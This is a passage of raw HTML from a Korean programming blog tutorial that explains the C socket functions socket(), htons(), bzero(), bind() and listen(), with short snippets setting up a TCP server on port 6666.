&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;socket() 함수&lt;/span&gt;는 소켓을 생성하여 반환하는 함수이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;socket() 함수의 원형은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;int socket(int domain, int type, int protocol)&lt;/span&gt;;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int domain: 인터넷을 통해 통신할지, 같은 시스템 내의 프로세스끼리 통신할지 결정한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CC6B385BD56E832B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CC6B385BD56E832B&quot; width=&quot;1000&quot; height=&quot;418&quot; filename=&quot;이미지 004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int type : 데이터의 전송 형태를 지정하며 아래 table의 값을 사용할 수 있다..&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9971A23F5BD56EF306&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9971A23F5BD56EF306&quot; width=&quot;1000&quot; height=&quot;219&quot; filename=&quot;이미지 005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int protocol : 통신에 있어 특정 프로토콜을 사용하기 위한 변수이다. 주로 0을 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;socket() 함수가 성공해 socket을 만들면, 소켓 식별 번호를 return하고, 실패하면 -1을 반환한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;IPv4 인터넷 프로토콜을 사용하고, TCP/IP 프로토콜을 통해 데이터를 전송하는 socket을 server_fd에 저장하고, 만일 socket 생성에 실패하면 error 내용을 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;((server_fd&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;socket(AF_INET,&amp;nbsp;SOCK_STREAM,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perror(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;socket&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;htons() 함수&lt;/span&gt;는 네트워크에서 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;short 형의 변수를 host byte order에서 network에서 사용하는 network byte order&lt;/span&gt;로 바꿔준다. network에서는 시스템과 달리 big-endian을 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;sin_port&amp;nbsp;= htons(6666); &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; //port 6666이 할당된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;sin_addr.s_addr = INADDR_ANY;&amp;nbsp; &amp;nbsp; // 소켓이 동작하는 컴퓨터의 IP주소가 자동 할당된다. PORT만 일치하면 수신 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;server_addr.sin_family&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;AF_INET;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;server_addr.sin_port&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;htons(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6666&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;server_addr.sin_addr.s_addr&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;INADDR_ANY;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;bzero()함수&lt;/span&gt;를 이용해 server_add.sin_zero에 0x00을 8 byte padding 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;bzero(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(server_addr,sin_zero),&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;8-byte&amp;nbsp;padding&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;bind() 함수는 생성된 소켓에 IP주소와 port 번호를 지정해주는 함수&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;bind() 함수의 기본형은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;int bind(int sockfd, struct sockaddr *myaddr, socklen_t addrlen);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int sockfd: 소켓 디스크립터&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;struct sockaddr *myaddr: AF_INET을 사용하는 경우 struct sockaddr_in을 사용하고, AF_UNIX인 경우 struct sockaddr을 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;socklen_t addrlen: myaddr의 구조체 크기&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;성공하면 return 0, 실패하면 return -1을 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;생성된 소켓에 주소, 프로토콜, 포트를 할당하고 실패하면 bind에 관한 error 내용을 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(bind(server_fd,&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;sockaddr&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;server_addr,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;sizeof&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(strcut&amp;nbsp;sockaddr))&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perror(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;bind&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;listen() 함수는 소켓을 통해 클라이언트 접속 요청을 기다리도록 설정한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;즉, 클라이언트를 대기하고 있는 상태이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;listen() 함수의 기본형은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;int listen(int s, int backlog);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ins sockfd : 소켓 디스크립터&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int backlog : 대기 메세지 큐의 개수&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;성공하면 return 0, 실패하면 return -1을 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;클라이언트를 대기한다. 만일 listen() 함수가 실패하면 listen에 대한 error를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div 